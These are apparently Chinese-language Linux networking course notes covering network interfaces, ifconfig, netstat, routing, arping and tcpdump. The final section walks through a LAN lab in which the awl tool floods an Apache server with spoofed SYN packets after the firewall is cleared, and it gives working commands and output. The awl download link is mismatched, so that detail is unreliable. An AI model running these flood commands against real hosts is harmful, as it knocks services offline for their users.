TCP 协议和UDP 协议的区别
1 TCP 协议 TCP 是面向连接的协议,在收发数据前,必须和对方建立可靠的连接
2 UDP 是用户数据报协议,是一种无连接的传输协议,提供面向事务的简单不可靠信息传送服务
如何不知道哪个端口的服务
就打开services 服务
[root@localhost ~]# vim /etc/services
E类地址:范围从240~254,为将来使用保留
ABC3类私有地址
A :10.0.0.0/8
B : 172.16.0.0 ~ 172.31.0.0/16
C : 192.168.0.0 ~ 192.168.255.0.0/24
互动:ping 127.0.0.1 可以ping 通, 在任意的127 都能ping 通
[root@localhost ~]# ping 127.23.23.23
PING 127.23.23.23 (127.23.23.23) 56(84) bytes of data.
64 bytes from 127.23.23.23: icmp_seq=1 ttl=64 time=0.020 ms
64 bytes from 127.23.23.23: icmp_seq=2 ttl=64 time=0.021 ms
64 bytes from 127.23.23.23: icmp_seq=3 ttl=64 time=0.033 ms
64 bytes from 127.23.23.23: icmp_seq=4 ttl=64 time=0.043 ms
64 bytes from 127.23.23.23: icmp_seq=5 ttl=64 time=0.024 ms
18.2 linux 网络相关的命令
18.2.1 查看网卡物理连接是否正常
[root@localhost ~]# mii-tool ens33
ens33: negotiated 1000baseT-FD flow-control, link ok
查看IP相关信息
ifconfig 命令被用于配置和显示linux内核中网络接口的网络参数
ifconfig 查看IP
常见的一些网络接口
eth0 -eth4 以太网 centos6
waln 无线接口
eno177776 以太网接口 centos7
bond0 team0 网卡绑定接口
vibro 虚拟机交换桥接接口
bro 虚拟网桥接口
lo 本地回环接口
vnet0 KVM 网卡接口
18.2.2 修改网卡IP地址
方法1: 手工修改网卡配置文件
vim /etc/sysconfig/network-scripts/ifcfg-ens33
TYPE="Ethernet"
PROXY_METHOD="none"
BROWSER_ONLY="no"
BOOTPROTO="dhcp"
DEFROUTE="yes"
IPV4_FAILURE_FATAL="no"
IPV6INIT="yes"
IPV6_AUTOCONF="yes"
IPV6_DEFROUTE="yes"
IPV6_FAILURE_FATAL="no"
IPV6_ADDR_GEN_MODE="stable-privacy"
NAME="ens33"
UUID="2f42f867-c515-4d49-87a2-980c4ecb8507"
DEVICE="ens33"
ONBOOT="yes"
2 给虚拟机添加一个网卡
ifconfig -a 查看所有网络设备,包括没有启动的网卡设备
默认新增加的网卡没有配置文件,手动添加一个
1)st ~]# cd /etc/sysconfig/network-scripts/
2) cp ifcfg-ens33 ifcfg-ens38
3) vim ifcfg-ens38
修改一下参数
方法2
1 )[root@localhost ~]# nmtui-edit 字符界面配IP啊,了解一下
2)
3)
! ser
调用历史命令的ser
指定关闭网卡
[root@localhost ~]# ifconfig ens33 down
指定开启网卡
[root@localhost ~]# ifconfig ens33 up
临时配置ip
[root@localhost ~]# ifconfig ens37 192.168.1.24
一个网卡 配置两个IP
[root@localhost ~]# ifconfig ens37:1 192.168.1.56
然后 ifconfig ens37 发现有两个IP地址
当然也可以弄子网掩码
[root@localhost ~]# ifconfig ens37:1 192.168.1.56 netmask 255.255.240.0
18.2.3 查看端口的监听状态
netstat 命令 : 查看系统中网络连接信息
常用的参数格式 : netstat -anutp
-a --all 显示本机所有连接和监听的端口
-n --numeric 以数字形式显示当前建立的有效连接和端口
-u 显示udp 协议连接
-t 显示tcp协议连接
-p 显示连接对应的PID 与程序名
Proto 连接协议的种类
Recv-Q 接受到的字节数
Send -Q ===== 从本服务器,发出去的字节数
Local Address ====== 本地的IP地址,可以是IP ,也可以是主机名
foreign Address =======远程主机的IP地址
例子:linux下默认MSL 等地时间是60秒
[root@localhost ~]# cat /proc/sys/net/ipv4/tcp_fin_timeout
60 60秒断开
[root@localhost ~]# echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout 30 秒就断开
通过缩短time_wait 时间来快速解决释放连接
改主机名
[root@localhost ~]# vim /etc/hostname
配置IP 与主机名 对应的关系
[root@localhost ~]# vim /etc/hosts 优先级高于DNS解析
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
18.2.4 配置DNS-路由相关信息
[root@localhost ~]# vim /etc/resolv.conf
是先解析hosts 还是DNS ?
[root@localhost ~]# vim /etc/nsswitch.conf
hosts files dns myhostname 可以看到先查看 files hosts 文件,再查看DNS 的
查看路由协议信息
[root@localhost ~]# route -n
参数 -n : 不要使用通讯协议或主机名,直接使用IP或port number
route 命令输出的路由表字段含义如下
Destination 目标
Gateway 网关 网关地址,如果是本地网段IP ,就显示0.0.0.0
Getmask 子网掩码
输出和添加路由条目
[root@localhost ~]# route add -net 192.168.2.0 netmask 255.255.255.0 dev ens37
实战场景:多个网卡,多个网段,实现不同数据走不同网卡,若干网络管理和生产数据分开管理
就可以看到多处一个网段
删除路由
[root@localhost ~]# route del -net 192.168.2.0 netmask 255.255.255.0 dev ens37
路由跟踪 查看经过多少个路由器到目标网址
[centos@xueshen65 ~]$ traceroute www.baidu.com
traceroute to www.baidu.com (14.215.177.39), 30 hops max, 60 byte packets
1 gateway (192.168.0.1) 3.829 ms 3.704 ms 3.613 ms
2 192.168.1.1 (192.168.1.1) 3.542 ms 3.950 ms 3.888 ms
3 100.64.0.1 (100.64.0.1) 9.239 ms 9.288 ms 9.246 ms
ping命令的一般格式为
-c 数目 在发送指定数目的包后停止
-i 秒数,设定间隔几秒松一个网络封包给一台机器,预设值一秒一次
[root@xueshen65 ~]# ping -i 0.1 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=6.62 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=63 time=1.90 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=63 time=1.93 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=63 time=3.53 ms
使用从哪个端口除去,使用参数大写的I
[root@localhost yum.repos.d]# arping 192.168.1.1
arping: Suitable device could not be determined. Please, use option -I.
Usage: arping [-fqbDUAV] [-c count] [-w timeout] [-I device] [-s source] destination
-f : quit on first reply
-q : be quiet
-b : keep broadcasting, don't go unicast
-D : duplicate address detection mode
-U : Unsolicited ARP mode, update your neighbours
-A : ARP answer mode, update your neighbours
-V : print version and exit
-c count : how many packets to send
-w timeout : how long to wait for a reply
-I device : which ethernet device to use
-s source : source ip address
destination : ask for what ip address
如果发生IP冲突是否有冲突
[root@xueshen65 ~]# arping -I ens33 192.168.1.1
[root@xueshen65 ~]# arping -I ens33 192.168.0.1
ARPING 192.168.0.1 from 192.168.0.151 ens33
Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11] 3.050ms
Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11] 5.318ms
Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11] 3.017ms
Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11] 4.707ms
Unicast reply from 192.168.0.1 [54:75:95:EF:4C:11] 4.541ms
注意 :如果一个IP,得到两个MAC, 就有冒充网关
watch
作用: 实施检测命令的运行结果,可以看到所有变换数据包的大小
-d 显示指令输出信息不同之处
-n 指定指令执行的间隔时间
例子1 :每隔1秒高亮差异显示ens33 相关信息
[root@xueshen65 ~]# watch -d -n 1 'ifconfig ens33'
ping 网关
[root@xueshen65 ~]# ping -i 0.1 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=63 time=4.11 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=63 time=1.72 ms
64 bytes from 192.168.1.1: icmp_seq=3 ttl=63 time=1.71 ms
64 bytes from 192.168.1.1: icmp_seq=4 ttl=63 time=3.27 ms
18.3 实战-在局域网中使用awl 伪装MAC 地址进行多线程SYN 洪水攻击
这个案例是打开眼界的
18.3.1 TCP 三次握手以及tcp连接状态
http://ssa.yundun.com/cc 云盾全球实时功放图
需要了解的信息
ACK TCP 协议规定,只有ACK=1 时有效,也规定连接建立后发送的报文的ACK必须为1
SYN 在连接建立时用来同步序号,当SYN=1,而ACK=0 时,表明这是一个连接请求报文,对方若同意建立连接,则应在响应报文中使SYN=1和ACK=1,因此,SYN直1就表明这是一个连接请求或连接受报文
synchronization 同步
FIN 即可,终结的意思,用来释放一个连接,当FIN=1时,表明此报文段的发送方的数据已经发送完毕,并且要求释放连接
实战1: 使用tcpdump 抓包查看tcp 三次握手
tcp 三次握手过程
tcpdump 常用参数
-c 指定包的个数
-n IP 端口用数字方式显示
port 指定端口
互动: 如何产生tcp 的连接
在一台上登录 抓起ssh 远程登录灵台一台时产生的tcp三次握手包
首先打开虚拟机,一台登陆另外一台的
在另外一台写入
[root@xueshen65 ~]# tcpdump -n -c 3 port 22 -i ens33
同时用ssh 端口登录ssh 另外的IP地址
ssh @ root 192.168.0.151
发现抓包已经看到
18.3.2 实战:在局域网中的使用awl 位置IP 地址进行多线程SYN 洪水攻击
SYN 洪水攻击概述: SYN洪水攻击主要源于:tcp协议的三次握手机制
SYN 洪水攻击的过程
在服务端返回一个确认的SYN-ACK包的时候,有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端的回应的ACK
这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等到关闭,才能是否释放
如果恶意者通过IP欺骗,发送大量的SYN包给受害者系统,导致服务端存在大量未决的连接和内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程
演示一下过程
下载awl 包的地址
1 https://gitlab.com/davical-project/awl/-/tags
2)
下载好以后,上传安装一下
进入到awl 目录下安装
3 )[root@xueshen65 ~]# cd awl-0.2/
4 )[root@xueshen65 awl-0.2]# ./configure && make -j 4 && make install
5) 查看安装命令
[root@xueshen65 ~]# which awl
/usr/local/bin/awl
在另外一台登录下载Apache
6) [root@localhost ~]# yum -y install httpd
燃火在一台ping 一下有Apache 的服务器
7) [root@xueshen65 ~]# ping 192.168.0.105
PING 192.168.0.105 (192.168.0.105) 56(84) bytes of data.
64 bytes from 192.168.0.105: icmp_seq=1 ttl=64 time=0.535 ms
64 bytes from 192.168.0.105: icmp_seq=2 ttl=64 time=2.44 ms
64 bytes from 192.168.0.105: icmp_seq=3 ttl=64 time=0.600 ms
64 bytes from 192.168.0.105: icmp_seq=4 ttl=64 time=0.586 ms
8)
看到105 的 MAC 地址是 上图
开始攻击
awl 参数如下 :
-i 发送包的接口,如果省略默认是eth0
-m 指定目标MAC 地址, 注意: 如果-m 没有指定mac 默认MAC 地址是
FF.FF.FF.FF.FF.FF FF.FF.FF.FF.FF.FF mac地址是什么?
表示想同一个网段内的所有主机发出ARP 广播,进行SYN 攻击,还容易使整个局域网瘫痪
-d 被攻击的IP
-p 被攻击机器的端口
用之前用清空防火墙
9 )[root@xueshen65 ~]# iptables -F
放大招
10) [root@xueshen65 ~]# awl -i ens33 -m 00:0c:29:e1:dc:cc -d 192.168.0.105 -p 80
^Cpool_renew success
pthread join 0 is success !
pthread join 1 is success !
pthread join 2 is success !
pthread join 3 is success !
pthread join 4 is success !
pthread join 5 is success !
pthread join 6 is success !
pthread join 7 is success
被攻击的IP 清空防火墙
11) [root@localhost ~]# iptables -F
就会看到IP 的访问
12) [root@localhost ~]# netstat -antup | grep 80
tcp 0 0 192.168.0.105:80 47.72.60.77:14790 SYN_RECV -
tcp 0 0 192.168.0.105:80 190.213.44.48:8913 SYN_RECV -
tcp 0 0 192.168.0.105:80 153.26.129.48:36511 SYN_RECV -
tcp 0 0 192.168.0.105:80 62.53.115.71:19264 SYN_RECV -
然后在ip138.com 网站查看 这些地址的来源
总结: 18.1 OSI 七层模型和TCP/IP 四层模型
18.2 linux 网络相关的调式命令
18.3 实战: 在局域网中使用awl 伪装MAC 地址进行多线程SYN 洪水攻击